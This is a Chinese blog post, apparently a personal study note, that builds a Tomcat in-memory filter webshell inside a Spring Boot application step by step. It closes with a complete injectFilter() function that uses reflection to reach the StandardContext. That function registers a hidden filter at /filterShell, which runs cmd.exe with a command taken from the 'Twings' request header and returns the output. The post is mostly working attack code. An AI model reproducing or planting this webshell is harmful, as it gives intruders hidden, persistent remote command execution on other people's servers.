前言
老技术,进行一波学习。
环境搭建
随便搞个SpringBoot环境,里面集成了tomcat。
FilterChain生成
以前读tomcat代码的时候能看到调用的FilterChain由ApplicationFilterFactory类生成,首先从context中取出filtermaps:
FilterMap[] filterMaps = context.findFilterMaps();
其来自context里的filterMaps属性:
public FilterMap[] findFilterMaps() {
return this.filterMaps.asArray();
}
可以使用其addFilterMap函数进行添加:
public void addFilterMap(FilterMap filterMap) {
this.validateFilterMap(filterMap);
this.filterMaps.add(filterMap);
this.fireContainerEvent("addFilterMap", filterMap);
}
其参数为FilterMap对象,这个对象可以通过无参构造函数生成。为了注入我们的filter,我们首先要找到该context:
在Thread.currentThread()里面可以找到这个context:
它在TomcatEmbeddedWebappClassLoader类的resources属性中:
protected WebResourceRoot resources = null;
但它是个protected属性,如果通过反射来获取就太麻烦了,然而问题是该9.0.65版本版本的tomcat里面用于获取resources属性的getResources函数已经用不了了:
@Deprecated
public WebResourceRoot getResources() {
return null;
}
没办法,还是只能反射了。
ClassLoader cl = Thread.currentThread().getContextClassLoader();
StandardRoot resources = null;
try {
Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
f.setAccessible(true);
resources = (StandardRoot)f.get(cl);
}catch (Exception e) {
// pass
}
if (resources == null) {
return;
}
StandardContext context = (StandardContext)resources.getContext();
FilterMap filterMap = new FilterMap();
context.addFilterMap(filterMap);
报错:
java.lang.IllegalArgumentException: Filter mapping specifies an unknown filter name [null]
添加上filterName再试试:
filterMap.setFilterName("filterShell");
还是报错:
java.lang.IllegalArgumentException: Filter mapping specifies an unknown filter name [filterShell]
看看报错点:
String filterName = filterMap.getFilterName();
String[] servletNames = filterMap.getServletNames();
String[] urlPatterns = filterMap.getURLPatterns();
if (findFilterDef(filterName) == null) {
throw new IllegalArgumentException
(sm.getString("standardContext.filterMap.name", filterName));
}
看起来还要先添加filterDef,看看findFilterDef函数怎么写的:
@Override
public FilterDef findFilterDef(String filterName) {
synchronized (filterDefs) {
return filterDefs.get(filterName);
}
}
键值从filterDef的filterName里来:
@Override
public void addFilterDef(FilterDef filterDef) {
synchronized (filterDefs) {
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);
}
再改改代码:
filterDef.setFilterName("filterShell");
报错:
java.lang.IllegalArgumentException: Filter mapping must specify either a <url-pattern> or a <servlet-name>
filterMap还需要设置url-pattern:
filterMap.addURLPattern("/filterShell");
访问一下这个路由,发现404报错,再调试一下,发现问题出在这一句:
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
跟进findFilterConfig函数可以发现是没有添加filterConfig:
public FilterConfig findFilterConfig(String name) {
return filterConfigs.get(name);
}
看看context中的代码,只有一句添加filterConfig的代码在filterStart函数里:
String name = entry.getKey();
...
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
}
发现ApplicationFilterConfig的构造函数报错,跟踪一下:
if (filterDef.getFilter() == null) {
getFilter();
} else {
this.filter = filterDef.getFilter();
context.getInstanceManager().newInstance(filter);
initFilter();
}
发现原因是filterDef里面没有设置对应的Filter对象,那就新建一个Filter对象:
class ShellFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException {
java.lang.Runtime.getRuntime().exec("calc.exe");
}
}
再通过setFilter添加到filterDef里面,访问/添加filter shell后再访问/filterShell,成功执行命令。
2022.9.8更新
忘了这个filter shell还不完整,还没有输入输出功能。
调试一下doFilter函数,看看这里的request和response是什么对象:
一个RequestFacade对象里面放着我们要找的Request对象,可以通过其getHeader函数获取我们想要的Header:
@Override
public String getHeader(String name) {
if (request == null) {
throw new IllegalStateException(
sm.getString("requestFacade.nullRequest"));
}
return request.getHeader(name);
}
同样的,Response里面也可以通过getWriter得到输出打印器:
@Override
public PrintWriter getWriter()
throws IOException {
// if (isFinished())
// throw new IllegalStateException
// (/*sm.getString("responseFacade.finished")*/);
PrintWriter writer = response.getWriter();
if (isFinished()) {
response.setSuspended(true);
}
return writer;
}
最后,贴一下完整的的注入函数代码:
public void injectFilter() {
class ShellFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
try {
String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
response.getWriter().write(new String(result));
} catch (Exception e) {
// pass
}
}
}
ClassLoader cl = Thread.currentThread().getContextClassLoader();
StandardRoot resources = null;
try {
Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
f.setAccessible(true);
resources = (StandardRoot)f.get(cl);
}catch (Exception e) {
// pass
}
if (resources == null) {
return;
}
StandardContext context = (StandardContext)resources.getContext();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new ShellFilter());
filterDef.setFilterName("filterShell");
context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("filterShell");
filterMap.addURLPattern("/filterShell");
context.addFilterMap(filterMap);
context.filterStart();
}
运行结果:
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!